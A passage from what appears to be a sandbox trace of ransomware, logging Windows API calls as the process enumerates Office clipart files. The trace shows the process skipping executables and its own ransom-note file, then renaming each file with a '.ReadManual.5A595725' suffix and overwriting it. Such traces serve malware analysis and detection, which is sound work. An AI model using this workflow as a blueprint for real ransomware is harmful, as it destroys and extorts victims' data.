Office\\CLIPART\\PUB60COR\\HH00681_.WMF.ReadManual.5A595725" [0263.203] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.ReadManual.5A595725") returned 87 [0263.203] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38387172781) returned 1 [0263.203] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0263.203] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.203] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9300) returned 1 [0263.203] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2454, lpName=0x0) returned 0x184 [0263.204] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.204] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.204] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.206] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.206] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2454) returned 0x2f0000 [0263.206] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.206] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38387519219) returned 1 [0263.206] CloseHandle (hObject=0x184) returned 1 [0263.207] SetSecurityInfo () returned 0x57 [0263.207] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.207] CloseHandle (hObject=0x194) returned 1 [0263.207] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0263.207] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00685_.WMF" | out: lpString1="HH00685_.WMF") returned="HH00685_.WMF" [0263.207] lstrcmpiW (lpString1="HH00685_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.207] StrStrIW (lpFirst="HH00685_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.207] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.207] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.207] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" [0263.207] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.ReadManual.5A595725" [0263.207] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.ReadManual.5A595725") returned 87 [0263.207] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38387617629) returned 1 [0263.207] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0263.208] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.208] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4032) returned 1 [0263.208] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfc0, lpName=0x0) returned 0x184 [0263.208] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.209] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.209] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.210] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.211] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfc0) returned 0x2f0000 [0263.211] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.211] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38387980019) returned 1 [0263.211] CloseHandle (hObject=0x184) returned 1 [0263.211] SetSecurityInfo () returned 0x57 [0263.211] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.211] CloseHandle (hObject=0x194) returned 1 [0263.211] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0263.213] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00687_.WMF" | out: lpString1="HH00687_.WMF") returned="HH00687_.WMF" [0263.213] lstrcmpiW (lpString1="HH00687_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.213] StrStrIW (lpFirst="HH00687_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.213] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.213] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.213] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" [0263.213] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.ReadManual.5A595725" [0263.213] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.ReadManual.5A595725") returned 87 [0263.213] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38388209688) returned 1 [0263.213] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0263.216] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.216] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4340) returned 1 [0263.216] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10f4, lpName=0x0) returned 0x184 [0263.216] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.217] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.217] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.218] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.218] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10f4) returned 0x2f0000 [0263.219] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.219] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38388742806) returned 1 [0263.219] CloseHandle (hObject=0x184) returned 1 [0263.219] SetSecurityInfo () returned 0x57 [0263.219] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.219] CloseHandle (hObject=0x194) returned 1 [0263.219] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x159db100, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x159db100, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x1bac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00688_.WMF", cAlternateFileName="")) returned 1 [0263.219] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00688_.WMF" | out: lpString1="HH00688_.WMF") returned="HH00688_.WMF" [0263.219] lstrcmpiW (lpString1="HH00688_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.219] StrStrIW (lpFirst="HH00688_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.219] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.219] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.220] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.220] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.220] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" [0263.220] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.ReadManual.5A595725" [0263.220] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.ReadManual.5A595725") returned 87 [0263.220] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38388845910) returned 1 [0263.220] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0263.220] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.220] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7084) returned 1 [0263.220] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bac, lpName=0x0) returned 0x184 [0263.220] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.221] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.221] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.222] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.222] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bac) returned 0x2f0000 [0263.223] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.223] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38389149034) returned 1 [0263.223] CloseHandle (hObject=0x184) returned 1 [0263.223] SetSecurityInfo () returned 0x57 [0263.223] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.223] CloseHandle (hObject=0x194) returned 1 [0263.223] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b503b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b503b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1bba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH00693_.WMF", cAlternateFileName="")) returned 1 [0263.223] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH00693_.WMF" | out: lpString1="HH00693_.WMF") returned="HH00693_.WMF" [0263.223] lstrcmpiW (lpString1="HH00693_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.223] StrStrIW (lpFirst="HH00693_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.223] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.223] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.224] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.224] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.224] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.224] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" [0263.224] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.ReadManual.5A595725" [0263.224] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.ReadManual.5A595725") returned 87 [0263.224] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38389246594) returned 1 [0263.224] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0263.224] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.224] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7098) returned 1 [0263.224] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bba, lpName=0x0) returned 0x184 [0263.225] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.225] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.225] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.227] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.227] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bba) returned 0x2f0000 [0263.227] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.227] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38389597913) returned 1 [0263.227] CloseHandle (hObject=0x184) returned 1 [0263.227] SetSecurityInfo () returned 0x57 [0263.227] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.227] CloseHandle (hObject=0x194) returned 1 [0263.228] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7507bb00, ftCreationTime.dwHighDateTime=0x1bd4b36, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7507bb00, ftLastWriteTime.dwHighDateTime=0x1bd4b36, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HH01013_.WMF", cAlternateFileName="")) returned 1 [0263.228] lstrcpyW (in: lpString1=0x6ab90a, lpString2="HH01013_.WMF" | out: lpString1="HH01013_.WMF") returned="HH01013_.WMF" [0263.228] lstrcmpiW (lpString1="HH01013_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.228] StrStrIW (lpFirst="HH01013_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.228] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.228] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.228] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" [0263.228] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.ReadManual.5A595725" [0263.228] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.ReadManual.5A595725") returned 87 [0263.228] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38389918076) returned 1 [0263.231] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0263.231] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.231] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2848) returned 1 [0263.232] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb20, lpName=0x0) returned 0x184 [0263.232] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.232] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.232] WriteFile (in: hFile=0x194, 